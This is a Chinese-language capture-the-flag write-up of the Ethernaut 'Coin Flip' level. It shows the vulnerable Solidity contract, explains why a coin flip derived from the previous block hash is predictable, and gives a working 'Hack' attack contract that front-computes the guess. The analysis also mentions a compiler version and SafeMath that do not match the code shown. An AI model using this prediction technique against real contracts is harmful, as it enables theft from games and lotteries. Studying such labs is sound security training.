03.Coin Flip
2023-06-23 20:21:59 # 04.Ethernaut CTF

Coin Flip

题目

通关要求:这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。即:consecutiveWins设置为10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

分析

老样子先看编译器版本^0.6.0,那么就可能出现整数溢出漏洞。但是我们看到它引用了Safemath库,那么排除整数溢出这个可能了。

在区块链当中,随机数并不随机,它是伪随机数。在flip方法中,uint256 blockValue = uint256(blockhash(block.number - 1));uint256 coinFlip = blockValue / FACTOR;bool side = coinFlip == 1 ? true : false;这三个是核心的猜数代码,其实我们也可以自己来写。这个题目所谓猜数,就是猜经过这三个代码之后出来的结果。然而我们也可以自己运行这个代码来猜数。

别人的分析:https://thomasxu-blockchain.github.io/2022-11-03-ethernaut01/#03-Coin-Flip

分析flip代码:block.number用来获取当前交易的block编号,减1获取前一个block的编号,而blockhash(id)获取对应id的block的hash值,然后uint256将其转换为16进制对应的数值。其中给的factor是2^(256)/2,所以每次做完除法的结果有一半几率是0,一半是1。

本题的漏洞就出在通过block.blockhash(block.number - 1)获取负一高度的区块哈希来生成随机数的方式是极易被攻击利用的。

原理是在区块链中,一个区块包含多个交易,我们可以先运行一下上述除法计算的过程获取结果究竟是0还是1,然后再发送对应的结果过去。区块链中块和块之前的间隔大概有10秒,手动去做会有问题,不能保证我们计算的合约是否和题目运算调用在同一个block上,因此需要写一个攻击合约完成调用。我们在攻击合约中调用题目中的合约,可以保证两个交易一定被打包在同一个区块上,因此它们获取的block.number.sub(1)是一样的。

其实就是利用了一个区块中可能有多个交易,而我们可以自己创建一个交易,执行与题目中一样的语句后得到的block.number.sub(1)是一样的

攻击代码

说明:

attack_1和attack_2是我想在一个while循环里面完成10次猜数操作。但是代码逻辑有错误:因为是同一笔交易,blockValue = uint256(blockhash(block.number - 1))block.number恒定不变。但是根据题目要求if (lastHash == blockValue) {revert();}则不满足(要求一个区块内只能猜一次)。【solidity中有没有一种内置的方法,是等到下一个区块被挖出来之后,才往下执行?即block.number发生变化再往下执行。答案:单条类EVM链中,原理上无法实现】

因此我们只能通过attack_3来调用10次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack{
CoinFlip private immutable coinflip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor(address _name){
coinflip = CoinFlip(_name);
}

function attack_1() external {
uint count = 0;

bool side;
uint256 blockValue;
uint256 coinFlip;
while (count < 10) {//猜10次
blockValue = uint256(blockhash(block.number - 1));
coinFlip = blockValue / FACTOR;
side = coinFlip == 1 ? true : false;
require(coinflip.flip(side),"guess false");
count++;
}
}

function attack_2() external {
uint8 count = 0;
while (count < 10){
bool guess = guess();
require(coinflip.flip(guess),"guess false");
count++;
}
}

function attack_3() external{
bool guess = guess();
require(coinflip.flip(guess),"guess false");
}

function guess() private view returns(bool){
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
return side;
}
function getConsecutiveWins() public view returns(uint256){
return coinflip.consecutiveWins();
}
}

做题

获取题目实例:0x8F1CeDfDe277E9113f1e93C45742dE560B0277c9

通过

小插曲

执行attack_3的时候,会出现下图这个提示。但是仍然可以执行成功。

另外

foundry可以模拟区块状态,可以用他来模拟下一个区块挖出来,用一个循环来执行10次。

大佬介绍:https://thomasxu-blockchain.github.io/Foundry/

foundry主页:https://book.getfoundry.sh/cheatcodes/